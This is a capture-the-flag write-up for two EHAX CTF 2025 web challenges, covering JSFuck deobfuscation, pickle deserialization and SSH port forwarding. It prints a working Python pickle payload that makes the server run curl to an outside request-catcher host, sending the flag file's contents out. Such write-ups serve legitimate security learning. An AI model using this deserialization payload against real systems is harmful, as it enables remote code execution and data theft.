# EHAX CTF 2025

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FDnwDy6yMnzRPErytq5kR%2Fimage.png?alt=media&#x26;token=6baa9600-6de8-47e0-a486-ae952c7284ce" alt=""><figcaption><p>26 / 729</p></figcaption></figure>

Pwn Rev Crypto checkout my teammate writeup :[ ](https://mikimiku.gitbook.io/more-more-pwn/contests/ctf-tours/ehax-ctf-2025)<https://mikimiku.gitbook.io/more-more-pwn/contests/ctf-tours/ehax-ctf-2025>

| Challenge                                                                                                  | Catergory |
| ---------------------------------------------------------------------------------------------------------- | --------- |
| [serialize](https://aurichia.gitbook.io/aurichia-docs/ctfs-tours/2025/ehax-ctf-2025#serialize)             | Web       |
| [Quandale Dingle](https://aurichia.gitbook.io/aurichia-docs/ctfs-tours/2025/ehax-ctf-2025#quandale-dingle) | Web       |

***

{% stepper %}
{% step %}

### serialize

> author: benzo

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FZkFlIupRkHikK1Utp1NC%2Fimage.png?alt=media&#x26;token=30a9bccd-a5bd-4f6b-9c97-f9ea4f945b8f" alt=""><figcaption></figcaption></figure>

starting the challenge we are greeted by a login page after a simple enumeration

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2F9k6ibiHNe2IJvhcJ2dh4%2Fimage.png?alt=media&#x26;token=19fafd00-e305-48fd-ae9f-c09a4c9da111" alt=""><figcaption></figcaption></figure>

we can see that the website uses an obfuscation technique called jsfuck so knowing that we can just use an online decoder like \`<https://enkhee-osiris.github.io/Decoder-JSFuck/>\`&#x20;

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2Fdry4mrvE7DohkubwhvYs%2Fimage.png?alt=media&#x26;token=64bbe5dc-f551-4362-ad9c-0e53d0bff1e3" alt=""><figcaption></figcaption></figure>

after changing the variable names&#x20;

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FdoNY4ETgjMT6IkHPvF2T%2Fimage.png?alt=media&#x26;token=5efc8b6f-873c-4542-bbef-aafa9d10e0c0" alt=""><figcaption></figcaption></figure>

now we can understand the code better as we can see we got the username and password of dreky

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FqPgkA9XyM83mB4Ub2xpo%2Fimage.png?alt=media&#x26;token=b781eed1-426f-4165-a800-d3155eb4726c" alt="" width="521"><figcaption></figcaption></figure>

logging in we were redirected to a picture this is weird so i relogged in and intercepted my request and found a hidden endpoint

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FVEFXqHsusXnu7cLWhiej%2Fimage.png?alt=media&#x26;token=372f7051-269e-486e-848d-056132f7a708" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FKVoCPlWBiQP2yWyh6cq2%2Fimage.png?alt=media&#x26;token=b2a46d65-8adc-46ee-8854-d4c5bf7f029b" alt=""><figcaption></figcaption></figure>

and we found the part 1 of the flag but then after another enumeration in the new page

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FEaYjDAbrWMbXiJG2fajM%2FScreenshot%202025-02-16%20125547.png?alt=media&#x26;token=45e70ee2-9ba5-41b7-a55f-df38d6a696e8" alt=""><figcaption></figcaption></figure>

i found this endpoint saved in the css file&#x20;

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2F2tpopIy65v3LQCQR9dmr%2FScreenshot%202025-02-16%20125626.png?alt=media&#x26;token=74e376c3-040a-4d84-b0e2-72f48ab0b22d" alt=""><figcaption></figcaption></figure>

and we managed to get to part 2

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FlZfvbr6Yutau3vwJ8aIS%2FScreenshot%202025-02-16%20134501.png?alt=media&#x26;token=9c65c7a2-ba01-4cb0-b3fe-d00403e125e2" alt=""><figcaption></figcaption></figure>

seeing the request we can see a weird token in the X-Serial\_token and after we decode this we can understand that that is a system command so it seems like the web uses pickle serialization and deserialization you can read it here \`<https://www.geeksforgeeks.org/pickle-python-object-serialization/>\`

so we can easily create our own payload for the server to run using this

{% code overflow="wrap" %}

```python
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl https://huanggay.requestcatcher.com?a=$(cat FLAG)",))
        
payload = pickle.dumps(Exploit())
encoded_payload = base64.b64encode(payload).decode()

print(encoded_payload)
```

{% endcode %}

we can just inject the X-Serial\_token in the header like `X-Serial_token: payload` then we can redo the request in my payload im making the server curl to my own server so that i could see the result

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FPrjzdt9yTyVCYImzf1r8%2Fimage.png?alt=media&#x26;token=0c82be27-27f7-4117-822d-b8f82307f643" alt=""><figcaption></figcaption></figure>

i made the server do an ls and wrap it up in base64 so i could see the whole result

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FRyJpVbOH5pxmA0Ym1sSs%2FScreenshot%202025-02-16%20164720.png?alt=media&#x26;token=86a20b21-4140-426f-b1b3-ff92b7c00922" alt=""><figcaption></figcaption></figure>

using cyber chef we can just decode it and as we can see there is a file called FLAG we can just cat it

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FUsH0hUARfvD7m9HC4OAl%2Fimage.png?alt=media&#x26;token=c74bedb3-5cfe-41ac-8370-c071c463d786" alt=""><figcaption></figcaption></figure>

and we solved the challenge!

E4HX{oh\_h3l1\_n44www\_y0u\_8r0k3\_5th\_w4l1}
{% endstep %}

{% step %}

### Quandale Dingle

> What's up guys! It's Quandale Dingle here! (rheheheh) I have been arrested for multiple crimes. Including: Searching for videos which I shouldnt on `MACHINE IP` /stream
>
> author: anonimbus, benzo

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FhCltgqpVtuO8R5IPVIcH%2Fimage.png?alt=media&#x26;token=5868be78-7d34-4419-897f-67dbe79d17f4" alt=""><figcaption></figcaption></figure>

starting the challenge we were given a pem file

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FtGUgSKnhGF5FPfoCcTg7%2FScreenshot%202025-02-16%20211607.png?alt=media&#x26;token=3a22b424-b5fc-4056-86a8-21923690df75" alt="" width="519"><figcaption></figcaption></figure>

and it was a private key thats good to know cause we can just connect to the server and gain rce

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FOljN5eQzMzJ5BGnTEZYj%2Fimage.png?alt=media&#x26;token=028057ba-0c8a-4e12-984e-70c77a89483d" alt=""><figcaption></figcaption></figure>

after accessing the server it seems like we dont really have privilege to the server and cant even run simple bash commands and we cant even get anything but what if we can access the web server?

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FhuEnCBsKWlJ8McgIYsca%2Fimage.png?alt=media&#x26;token=9111146d-2a04-420a-a932-999de849bde5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FoDjQVMYG6znPF6RfGuJu%2Fimage.png?alt=media&#x26;token=89acde58-4594-4efd-9e88-3c5122958719" alt=""><figcaption></figcaption></figure>

first i tried port forwarding the port 80 but it seems that the server didnt even use that port so i tried the other web server port 8080

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FwrlCAndNXVaqkKTL2pp7%2Fimage.png?alt=media&#x26;token=46c7e1ab-2026-41b4-aa49-fcc442075edf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FcxEPp3fSOpTWkJQflryu%2Fimage.png?alt=media&#x26;token=b7c84036-c921-4f0f-aa12-36b2b16fd5d5" alt=""><figcaption></figcaption></figure>

we can actually access the web server and gain a mp4 file

{% file src="<https://2781327171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMuMceEGBvWN37BjlZKgv%2Fuploads%2FGrdgJoNLtsUY07swKldl%2Fbruh_AjUx3sbY.mp4?alt=media&token=b2b8cd2e-3679-46ec-9566-210b2470952f>" %}

and we got the very epic video above and got the flag from the video

EH4X{55H\_Tunn3linG}
{% endstep %}
{% endstepper %}
